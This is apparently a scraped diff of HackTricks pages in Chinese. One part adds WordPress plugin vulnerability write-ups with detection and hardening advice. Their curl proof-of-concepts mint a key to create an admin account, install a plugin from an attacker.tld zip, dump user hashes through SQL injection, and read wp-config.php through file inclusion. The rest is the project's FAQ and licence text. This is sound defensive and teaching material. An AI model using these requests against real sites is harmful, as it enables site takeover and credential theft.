||||||
|
Finding the action name
|
||||||
|
|
||||||
|
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||||
|
- Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.
|
||||||
|
|
||||||
|
Detection checklist
|
||||||
|
|
||||||
|
- Web 日志显示未经身份验证的 POST 请求到 /wp-admin/admin-ajax.php,带有 social-login action 和 id=<email>。
|
||||||
|
- 从相同 IP/User-Agent 紧接出现成功 JSON 的 200 响应,随后出现已认证流量。
|
||||||
|
|
||||||
|
Hardening
|
||||||
|
|
||||||
|
- 不要从客户端输入推导身份。只接受来源于已验证 provider token/ID 的电子邮箱/ID。
|
||||||
|
- 即便是 login helpers,也要要求 CSRF nonces 和 capability checks;除非绝对必要,否则避免注册 wp_ajax_nopriv_。
|
||||||
|
- 在服务器端验证和校验 OAuth/OIDC 响应;拒绝缺失/无效的 providers(不要回退到 POST id)。
|
||||||
|
- 考虑暂时禁用 social login 或在边缘进行虚拟打补丁(阻断易受攻击的 action),直到修复。
|
||||||
|
|
||||||
|
Patched behaviour (Jobmonster 4.8.0)
|
||||||
|
|
||||||
|
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||||
|
|
||||||
|
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||||
|
|
||||||
|
一些插件暴露 REST endpoints,会铸造可重用的 “connection keys” 或 tokens,而不验证调用者的 capabilities。如果路由仅对可猜测的属性(例如 username)进行认证,且没有将 key 绑定到带有 capability checks 的 user/session,任何未经认证的攻击者都可以铸造一个 key 并调用有特权的操作(创建 admin 账号、插件操作 → RCE)。
|
||||||
|
|
||||||
|
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||||
|
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||||
|
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||||
|
|
||||||
|
PoC – mint a connection key and use it
|
||||||
|
```bash
|
||||||
|
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||||
|
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
--data '{"username":"admin"}'
|
||||||
|
# → {"key":"<conn_key>", ...}
|
||||||
|
|
||||||
|
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||||
|
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
-H 'X-Connection-Key: <conn_key>' \
|
||||||
|
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||||
|
```
|
||||||
|
为何可被利用
|
||||||
|
- 敏感的 REST 路由仅由低熵的身份凭证(username)或缺失的 permission_callback 保护
|
||||||
|
- 没有 capability 强制;生成的密钥被当作通用绕过
|
||||||
|
|
||||||
|
检测清单
|
||||||
|
- 使用 grep 在插件代码中搜索 register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||||
|
- 任何基于请求提供的身份(username/email)发放 tokens/keys 的路由,且未绑定到已认证用户或 capability
|
||||||
|
- 查找后续路由,它们在没有服务器端 capability 检查的情况下接受生成的 token/key
|
||||||
|
|
||||||
|
加固
|
||||||
|
- 对于任何有特权的 REST 路由:要求 permission_callback 强制执行 current_user_can() 来检查所需的 capability
|
||||||
|
- 不要基于客户端提供的身份发放长期有效的密钥;如确有必要,应在认证后发放短期、绑定用户的 tokens,并在使用时重新检查 capability
|
||||||
|
- 验证调用者的用户上下文(仅调用 wp_set_current_user 不足以证明)并拒绝满足 !is_user_logged_in() || !current_user_can(<cap>) 的请求
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Nonce gate misuse → 未认证的任意插件安装 (FunnelKit Automations ≤ 3.5.3)
|
||||||
|
|
||||||
|
Nonces 是用来防止 CSRF 的,不是用来做授权。如果代码将 nonce 验证通过视为通行证,然后跳过对特权操作(例如 install/activate plugins)的 capability 检查,未认证的攻击者可以满足一个弱 nonce 要求并通过安装带后门或存在漏洞的插件达到 RCE。
|
||||||
|
|
||||||
|
- Vulnerable path: plugin/install_and_activate
|
||||||
|
- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
|
||||||
|
- Impact: full compromise via arbitrary plugin install/activation
|
||||||
|
|
||||||
|
PoC(具体形式取决于插件;仅作示例)
|
||||||
|
```bash
|
||||||
|
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||||
|
```
|
||||||
|
检测清单
|
||||||
|
- 修改插件/主题的 REST/AJAX 处理程序仅使用 wp_verify_nonce()/check_admin_referer(),且没有权限检查
|
||||||
|
- 在 nonce 验证之后将 $skip_caps = true 的任何代码路径
|
||||||
|
|
||||||
|
加固
|
||||||
|
- 始终仅将 nonces 视为 CSRF tokens;不论 nonce 状态如何,都要强制执行权限检查
|
||||||
|
- 在到达安装器代码之前,要求 current_user_can('install_plugins') 和 current_user_can('activate_plugins')
|
||||||
|
- 拒绝未认证访问;避免为高权限流程暴露 nopriv AJAX actions
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## depicter-* actions 中通过 s (search) 参数触发的未认证 SQLi(Depicter Slider ≤ 3.6.1)
|
||||||
|
|
||||||
|
多个 depicter-* actions 使用了 s (search) 参数,并将其拼接进 SQL 查询,未使用参数化。
|
||||||
|
|
||||||
|
- 参数:s (search)
|
||||||
|
- 缺陷:在 WHERE/LIKE 子句中直接进行字符串拼接;未使用预处理语句或输入清理
|
||||||
|
- 影响:数据库数据外泄(用户、哈希),可能导致横向移动
|
||||||
|
|
||||||
|
PoC
|
||||||
|
```bash
|
||||||
|
# Replace action with the affected depicter-* handler on the target
|
||||||
|
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||||
|
--data-urlencode 'action=depicter_search' \
|
||||||
|
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||||
|
```
|
||||||
|
检测清单
|
||||||
|
- grep 查找 depicter-* action handlers 并检查在 SQL 中直接使用 $_GET['s'] 或 $_POST['s']
|
||||||
|
- 审查传入 $wpdb->get_results()/query() 且对 s 进行拼接的自定义查询
|
||||||
|
|
||||||
|
加固
|
||||||
|
- 始终使用 $wpdb->prepare() 或 wpdb 占位符;在服务器端拒绝意外的元字符
|
||||||
|
- 为 s 添加严格的允许列表并规范化为预期的字符集/长度
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 无需认证的 Local File Inclusion(通过未验证的 template/文件路径) (Kubio AI Page Builder ≤ 2.5.1)
|
||||||
|
|
||||||
|
在 template 参数中接受可被攻击者控制的路径而不进行规范化/限制,会允许读取任意本地文件;如果将可被包含的 PHP 或 log 文件拉入运行时,某些情况下甚至可能导致代码执行。
|
||||||
|
|
||||||
|
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||||
|
- Flaw: 没有规范化/允许列表;允许遍历
|
||||||
|
- Impact: 敏感信息泄露 (wp-config.php),在特定环境下可能导致 RCE(log poisoning、可被包含的 PHP)
|
||||||
|
|
||||||
|
PoC – 读取 wp-config.php
|
||||||
|
```bash
|
||||||
|
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||||
|
```
|
||||||
|
Detection checklist
|
||||||
|
- 任何将请求路径拼接到 include()/require()/read sink 的处理程序,且未使用 realpath() 进行包含限制
|
||||||
|
- 寻找到达预期 templates 目录之外的遍历模式 (../)
|
||||||
|
|
||||||
|
Hardening
|
||||||
|
- 强制使用白名单模板;使用 realpath() 解析并要求 str_starts_with(realpath(file), realpath(allowed_base))
|
||||||
|
- 规范化输入;拒绝目录遍历序列和绝对路径;仅在文件名上使用 sanitize_file_name()(不要用于完整路径)
|
||||||
|
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||||
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||||
@ -714,5 +853,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
|||||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||||
|
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||||
|
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||||
|
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||||
|
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||||
|
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||||
|
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,56 +2,56 @@
|
|||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## HackTricks Values
|
## HackTricks 价值观
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> 这些是 **HackTricks 项目的价值观**:
|
> 这是 **HackTricks 项目** 的**价值观**:
|
||||||
>
|
>
|
||||||
> - 向 **ALL** Internet 免费提供 **EDUCATIONAL hacking** 资源。
|
> - 为整个互联网提供 **免费** 的 **教育性 hacking** 资源。
|
||||||
> - Hacking 就是关于学习,学习应尽可能免费。
|
> - Hacking 是关于学习的,学习应该尽可能免费。
|
||||||
> - 本书的目的是作为一个全面的 **教育资源**。
|
> - 本书的目的是作为一个综合性的 **教育资源**。
|
||||||
> - **存储** 社区发布的很棒 **hacking** 技术,并给予 **原作者** 所有的 **署名**。
|
> - **存储** 社区发布的精彩 **hacking** 技术,并将 **原始** **作者** 的所有 **署名** 归于他们。
|
||||||
> - **我们不想从其他人那里获取荣誉**,我们只是想为大家保存很酷的技巧。
|
> - **我们不想拿别人的功劳**,我们只是想为大家保存很酷的技巧。
|
||||||
> - 我们也在 HackTricks 中撰写 **我们自己的研究**。
|
> - 我们也在 HackTricks 中撰写 **我们自己的研究**。
|
||||||
> - 在若干情况下,我们只会在 HackTricks 中写出该技术重要部分的 **摘要**,并**鼓励读者访问原始帖子**以获取更多细节。
|
> - 在若干情况下,我们只会在 HackTricks 中撰写该技术重要部分的 **摘要**,并会 **鼓励读者访问原始文章** 以获取更多细节。
|
||||||
> - **组织** 本书中的所有 hacking 技术,使其 **更易访问**
|
> - **组织** 书中的所有 **hacking** 技术,使其 **更易获取**
|
||||||
> - HackTricks 团队免费投入了数千小时,仅仅是为了**组织内容**,以便人们**更快学习**
|
> - HackTricks 团队免费投入了数千小时,**仅用于组织内容**,以便人们能 **更快学习**
|
||||||
|
|
||||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## HackTricks faq
|
## HackTricks 常见问题
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **非常感谢这些资源,我如何表达谢意?**
|
> - **非常感谢这些资源,我该如何表达谢意?**
|
||||||
|
|
||||||
你可以在推特上公开感谢 HackTricks 团队,将推文 @mention [**@hacktricks_live**](https://twitter.com/hacktricks_live)。\
|
你可以在公开的推文中感谢 HackTricks 团队整理这些资源,提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||||
如果你特别感激,你也可以在此 [**赞助该项目**](https://github.com/sponsors/carlospolop)。\
|
如果你特别感激,你也可以在此 [**赞助该项目**](https://github.com/sponsors/carlospolop).\
|
||||||
并别忘了 **在 Github 项目上点星!**(链接见下方)。
|
别忘了在 Github 项目上 **点个星!**(链接见下方)。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **我如何为项目做贡献?**
|
> - **如何为该项目做贡献?**
|
||||||
|
|
||||||
你可以通过向相应的 Github 页面提交 **Pull Request**,与社区分享新的技巧或修复你在书中发现的错误:
|
你可以通过向相应的 Github 页面提交一个 **Pull Request** 来**与社区分享新的技巧或修复书中的 bug**:
|
||||||
|
|
||||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||||
|
|
||||||
别忘了 **为 Github 项目加星!**
|
别忘了在 Github 项目上 **点个星!**
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **我可以把 HackTricks 的部分内容复制到我的博客吗?**
|
> - **我可以复制 HackTricks 的部分内容并放到我的博客吗?**
|
||||||
|
|
||||||
可以,但**不要忘记注明内容来源的具体链接**。
|
可以,但 **不要忘记提及内容来源的具体链接**。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
>
|
>
|
||||||
> - **我如何引用 HackTricks 的某一页面?**
|
> - **如何引用 HackTricks 的某个页面?**
|
||||||
|
|
||||||
只要显示出你获取信息的页面链接就足够。\
|
只要显示你获取信息的页面的链接就足够了。\
|
||||||
如果你需要 bibtex,你可以使用类似如下的内容:
|
如果你需要 bibtex,你可以使用如下格式:
|
||||||
```latex
|
```latex
|
||||||
@misc{hacktricks-bibtexing,
|
@misc{hacktricks-bibtexing,
|
||||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
|||||||
```
|
```
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
>
|
>
|
||||||
> - **我可以把整个 HackTricks 复制到我的博客吗?**
|
> - **Can I copy all HackTricks in my blog?**
|
||||||
|
>
|
||||||
**我更不希望这样做**。那样**不会为任何人带来好处**,因为所有**内容已在官方 HackTricks 书籍中免费公开**。
|
> **我宁愿不要**。那样做**不会对任何人有好处**,因为所有内容已经在官方的 HackTricks 书籍中免费公开提供。
|
||||||
|
>
|
||||||
如果你担心它会消失,只需在 Github 上 fork 或下载它,正如我说的,它已经是免费的。
|
> 如果你担心内容会消失,只要在 Github 上 fork 它或下载它,就像我说的,这些内容已经是免费的。
|
||||||
|
>
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
>
|
>
|
||||||
> - **你为什么有赞助?HackTricks 书籍是用于商业目的的吗?**
|
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||||
|
>
|
||||||
第一个 **HackTricks** **价值** 是向 **全世界** 提供 **FREE hacking educational resources**。HackTricks 团队已**投入数千小时**来提供这些内容,再次强调,是 **FREE** 的。
|
> 第一个 **HackTricks** 的 **价值观** 是为**全世界的每个人**提供**免费**的黑客教育资源。HackTricks 团队投入了**数千小时**来提供这些内容,同样是**免费**的。
|
||||||
|
>
|
||||||
如果你认为 HackTricks 书籍是为了 **商业目的**,那你**完全错了**。
|
> 如果你认为 HackTricks 书籍是为了**商业目的**而制作的,你**完全错了**。
|
||||||
|
>
|
||||||
我们之所以有赞助,是因为即使所有内容都是 FREE,我们也希望为社区提供一种在愿意时**表达对我们工作的支持**的方式。因此,我们为人们提供通过 [**Github sponsors**](https://github.com/sponsors/carlospolop) 向 HackTricks 捐赠的选项,并允许相关的网络安全公司赞助 HackTricks,在书中放置一些广告,这些**广告**始终放在能让它们**可见**但不会在读者专注于内容时**干扰学习**的位置。
|
> 我们之所以有赞助商,是因为即便所有内容都是免费的,我们仍希望**为社区提供表达对我们工作的赞赏的方式**(如果他们愿意的话)。因此,我们提供人们通过 [**Github sponsors**](https://github.com/sponsors/carlospolop) 向 HackTricks 捐助的选项,并允许一些**相关的网络安全公司**赞助 HackTricks,并在书中放置一些**广告**,这些**广告**总是放在可见的位置,但**不会打扰到学习过程**,如果有人集中精力阅读内容的话。
|
||||||
|
>
|
||||||
你不会在 HackTricks 看到像那些内容远不及 HackTricks 的博客那样充斥着烦人的广告,因为 HackTricks 并非为商业目的而制作。
|
> 你不会在 HackTricks 里看到像其他内容远不及 HackTricks 的博客那样烦人的广告,因为 HackTricks 不是为商业目的而制作的。
|
||||||
|
>
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **如果某些 HackTricks 页面基于我的博客文章但没有被引用,我该怎么办?**
|
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||||
|
>
|
||||||
**我们非常抱歉。这种情况本不该发生**。请通过 Github issues、Twitter、Discord 等方式告知我们包含该内容的 HackTricks 页面链接以及你的博客链接,**我们将检查并尽快添加引用**。
|
> **我们非常抱歉。这样的情况不应该发生**。请通过 Github issues、Twitter、Discord 等方式告知我们该 HackTricks 页面与原始内容的链接以及你博客的链接,**我们会检查并尽快添加引用**。
|
||||||
|
>
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **如果 HackTricks 中有来自我博客的内容而我不希望它在那里,我该怎么办?**
|
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||||
|
>
|
||||||
请注意,HackTricks 中有你页面的链接会:
|
> 请注意,在 HackTricks 中链接到你的页面会:
|
||||||
|
>
|
||||||
- 提升你的 **SEO**
|
> - 提高你的 **SEO**
|
||||||
- 该内容会被**翻译成超过 15 种语言**,使更多人能够访问该内容
|
> - 该内容会被**翻译成 15 种以上语言**,使更多人可以访问该内容
|
||||||
- **HackTricks 会鼓励**人们**查看你的页面**(有人告诉我们,自从他们的某些页面出现在 HackTricks 后,访问量有所增加)
|
> - **HackTricks 鼓励** 人们**查看你的页面**(有人提到,自从他们的某个页面被收录到 HackTricks 后,他们收到了更多访问量)
|
||||||
|
>
|
||||||
不过,如果你仍然希望从 HackTricks 中移除你的博客内容,请告知我们,我们将会**删除所有指向你博客的链接**以及任何基于它的内容。
|
> 然而,如果你仍然希望从 HackTricks 中删除你博客的内容,只需告知我们,我们将**删除所有指向你博客的链接**以及任何基于你内容的条目。
|
||||||
|
>
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
>
|
>
|
||||||
> - **如果我在 HackTricks 发现有复制粘贴的内容,我该怎么办?**
|
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||||
|
>
|
||||||
|
> 我们始终**给予原作者全部的署名**。如果你发现某页面存在未引用原始来源的抄袭内容,请告知我们,我们将要么**删除该内容**,要么**在文本前添加链接**,或者**重写内容并添加链接**。
|
||||||
|
|
||||||
我们始终**给予原作者全部署名**。如果你发现某页为复制粘贴内容且未引用原始来源,请告知我们,我们将会**删除该内容**、**在文本前添加链接**或**重写内容并加入链接**。
|
## LICENSE
|
||||||
|
|
||||||
## 许可证
|
版权所有 © 除非另有说明,否则保留所有权利。
|
||||||
|
|
||||||
版权所有 © 未经另行说明,保留一切权利。
|
#### License Summary:
|
||||||
|
|
||||||
#### 许可摘要:
|
- Attribution: You are free to:
|
||||||
|
- Share — copy and redistribute the material in any medium or format.
|
||||||
|
- Adapt — remix, transform, and build upon the material.
|
||||||
|
|
||||||
- 署名:你可以:
|
#### Additional Terms:
|
||||||
- 共享 — 在任何媒介或格式复制并重新分发该材料。
|
|
||||||
- 修改 — 重新混合、变更并以该材料为基础进行创作。
|
|
||||||
|
|
||||||
#### 附加条款:
|
- Third-Party Content: 本书/博客的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。此类内容的使用遵循合理使用原则或已获得相应版权持有者的明确许可。有关第三方内容的具体许可信息,请参阅原始来源。
|
||||||
|
- Authorship: HackTricks 创作的原始内容受本许可条款约束。鼓励在共享或改编本作品时对作者进行署名。
|
||||||
|
|
||||||
- 第三方内容:本博客/书籍的部分内容可能包含来自其他来源的内容,例如其他博客或出版物的摘录。此类内容的使用遵循合理使用原则或已获得相应版权持有人的明确许可。有关第三方内容的具体许可信息,请参阅原始来源。
|
#### Exemptions:
|
||||||
- 作者权:由 HackTricks 创作的原始内容受本许可条款约束。我们鼓励在分享或改编时对作者进行署名。
|
|
||||||
|
|
||||||
#### 豁免:
|
- Commercial Use: 如需就商业用途咨询本内容的使用,请与我联系。
|
||||||
|
|
||||||
- 商业使用:如需就本内容的商业使用进行咨询,请与我联系。
|
|
||||||
|
|
||||||
本许可不授予与内容相关的任何商标或品牌权利。本博客/书籍中出现的所有商标和品牌均为其各自所有者的财产。
|
本许可不授予与内容相关的任何商标或品牌权利。本博客/书籍中出现的所有商标和品牌均为其各自所有者的财产。
|
||||||
|
|
||||||
**通过访问或使用 HackTricks,你同意遵守本许可条款。如果你不同意这些条款,请不要访问本网站。**
|
**通过访问或使用 HackTricks,你同意遵守本许可条款。如果你不同意这些条款,请勿访问本网站。**
|
||||||
|
|
||||||
## **免责声明**
|
## **Disclaimer**
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> 本书“HackTricks”仅用于教育和信息目的。本书内容以“按现状”('as is')提供,作者和出版者不对本书所含信息、产品、服务或相关图示的完整性、准确性、可靠性、适用性或可用性做出任何明示或暗示的陈述或保证。因此,您对这些信息的任何依赖均完全由您自行承担风险。
|
> 本书《HackTricks》仅用于教育和信息目的。书中内容按“现状”提供,作者和出版方对本书中包含的信息、产品、服务或相关图表的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。任何对该等信息的依赖均由用户自行承担风险。
|
||||||
>
|
>
|
||||||
> 作者和出版者在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或继发性损失或损害,或因使用本书而导致的数据损失或利润损失或任何其他损失或损害。
|
> 作者和出版方在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或衍生的损失或损害,或因使用本书而导致的数据或利润损失。
|
||||||
>
|
>
|
||||||
> 此外,本书所述的技术和提示仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版者不赞同或支持任何非法或不道德的活动,对本书所含信息的任何使用均由用户自行承担风险并自负其责。
|
> 此外,本书中描述的技术和提示仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版方不赞同或支持任何非法或不道德的活动,使用本书中信息的任何行为均由用户自行承担风险和决定。
|
||||||
>
|
>
|
||||||
> 用户对基于本书所含信息所采取的任何行为负全部责任,并在尝试实施本书所述任何技术或提示时应始终寻求专业建议与帮助。
|
> 用户对基于本书所含信息采取的任何行动独自负责,在尝试实施书中任何技术或提示时,应始终寻求专业建议和帮助。
|
||||||
>
|
>
|
||||||
> 通过使用本书,用户同意解除作者和出版者对因使用本书或其包含的任何信息而可能导致的任何及所有损害、损失或伤害的责任。
|
> 使用本书即表示用户同意解除作者和出版方因使用本书或其中任何信息而可能导致的任何及所有损害、损失或伤害的责任与责任。
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user